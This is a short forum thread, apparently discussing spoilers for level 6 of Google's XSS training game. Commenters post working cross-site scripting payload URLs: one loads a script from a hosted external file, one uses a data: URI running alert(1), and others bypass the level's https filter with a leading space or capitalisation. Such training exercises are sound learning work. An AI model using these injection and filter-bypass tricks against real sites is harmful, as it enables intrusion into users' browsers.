3 ms·

* MORE SPOILERS! * #6 looks like: https://xss-game.appspot.com/level6/frame#//rawgit.com/hhaidar/google-xss-game-test/master/test.js https://xss-game.appspot.c

• thekos 12y ago
  This works also, and doesn't require a hosted file: https://xss-game.appspot.com/level6/frame#data:text/plain,alert(1) https://xss-game.appspot.com/level6/frame#data:text/plain,al...
• mpetrov 12y ago
  Also just putting a space in front of https:// https:// works, the script tag handles the leading space just fine.
  • dvirsky 12y ago
    Even simpler - Https://
• alttag 12y ago
  Don't know that's it's necessary to put the spoiler here. The hints provide an alternative to hosting a file.